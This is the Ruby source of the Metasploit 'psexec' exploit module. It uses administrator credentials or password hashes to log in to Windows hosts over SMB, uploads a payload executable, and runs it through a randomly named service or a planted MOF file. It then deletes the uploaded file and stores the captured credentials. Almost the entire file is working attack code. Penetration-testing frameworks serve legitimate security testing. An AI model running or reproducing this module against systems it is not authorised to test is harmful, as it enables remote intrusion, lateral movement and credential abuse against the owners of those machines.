247 lines
8.5 KiB
Ruby
247 lines
8.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# Windows XP systems that are not part of a domain default to treating all
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# network logons as if they were Guest. This prevents SMB relay attacks from
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# gaining administrative access to these systems. This setting can be found
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# under:
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#
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# Local Security Settings >
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# Local Policies >
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# Security Options >
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# Network Access: Sharing and security model for local accounts
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::SMB::Psexec
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include Msf::Auxiliary::Report
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Authenticated User Code Execution',
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'Description' => %q{
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This module uses a valid administrator username and password (or
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password hash) to execute an arbitrary payload. This module is similar
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to the "psexec" utility provided by SysInternals. This module is now able
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to clean up after itself. The service created by this tool uses a randomly
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chosen name and description.
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},
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'Author' =>
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[
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'hdm',
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'EXITFUNC' => 'process'
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},
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'References' =>
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[
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106'],
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[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true,
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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# For the CVE, PsExec was first released around February or March 2001
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'DisclosureDate' => 'Jan 01 1999'
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))
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register_options(
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[
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OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
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], self.class )
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register_advanced_options(
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[
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OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
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OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
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OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
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OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
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OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]),
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OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
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OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
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], self.class)
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end
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def exploit
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print_status("Connecting to the server...")
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connect()
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print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
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smb_login()
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if not simple.client.auth_user and not datastore['ALLOW_GUEST']
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print_line(" ")
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print_error(
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"FAILED! The remote host has only provided us with Guest privileges. " +
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"Please make sure that the correct username and password have been provided. " +
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"Windows XP systems that are not part of a domain will only provide Guest privileges " +
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"to network logins by default."
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)
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print_line(" ")
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disconnect
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return
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end
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if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0
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service_data = {
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address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
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port: datastore['RPORT'],
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service_name: 'smb',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: self.fullname,
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private_data: datastore['SMBPass'],
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username: datastore['SMBUser'].downcase
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}
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if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
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credential_data.merge!({
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realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
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realm_value: datastore['SMBDomain']
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})
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end
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if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
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credential_data.merge!({:private_type => :ntlm_hash})
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else
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credential_data.merge!({:private_type => :password})
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end
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credential_data.merge!(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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access_level: 'Admin',
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}
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login_data.merge!(service_data)
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login = create_credential_login(login_data)
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end
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filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
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if datastore['MOF_UPLOAD_METHOD']
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# payload as exe
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print_status("Trying wbemexec...")
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print_status("Uploading Payload...")
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if datastore['SHARE'] != 'ADMIN$'
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print_error('Wbem will only work with ADMIN$ share')
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return
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end
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simple.connect("ADMIN$")
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exe = generate_payload_exe
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fd = smb_open("\\system32\\#{filename}", 'rwct')
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fd << exe
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fd.close
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print_status("Created %SystemRoot%\\system32\\#{filename}")
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# mof to cause execution of above
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mofname = rand_text_alphanumeric(14) + ".MOF"
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mof = generate_mof(mofname, filename)
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print_status("Uploading MOF...")
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fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
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fd << mof
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fd.close
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print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
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# Disconnect from the ADMIN$
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simple.disconnect("ADMIN$")
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else
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servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
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servicedescription = datastore['SERVICE_DESCRIPTION']
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displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1)
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# Upload the shellcode to a file
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print_status("Uploading payload...")
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smbshare = datastore['SHARE']
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fileprefix = ""
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# if SHARE = Users/sasha/ or something like this
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if smbshare =~ /.[\\\/]/
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subfolder = true
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smbshare = datastore['SHARE'].dup
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smbshare = smbshare.gsub(/^[\\\/]/,"")
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folder_list = smbshare.split(/[\\\/]/)
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smbshare = folder_list[0]
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fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
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simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
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fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
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else
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subfolder = false
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simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
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fd = smb_open("\\#{filename}", 'rwct')
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end
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exe = ''
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opts = { :servicename => servicename }
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exe = generate_payload_exe_service(opts)
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fd << exe
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fd.close
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if subfolder
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print_status("Created \\#{fileprefix}\\#{filename}...")
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else
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print_status("Created \\#{filename}...")
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end
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# Disconnect from the share
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simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
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# define the file location
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if datastore['SHARE'] == 'ADMIN$'
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file_location = "%SYSTEMROOT%\\#{filename}"
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elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
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file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
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else
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file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
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end
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psexec(file_location, false, servicedescription, servicename, displayname)
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print_status("Deleting \\#{filename}...")
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sleep(1)
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#This is not really useful but will prevent double \\ on the wire :)
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if datastore['SHARE'] =~ /.[\\\/]/
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simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
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simple.delete("\\#{fileprefix}\\#{filename}")
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else
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simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
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simple.delete("\\#{filename}")
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end
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end
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handler
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disconnect
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end
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end
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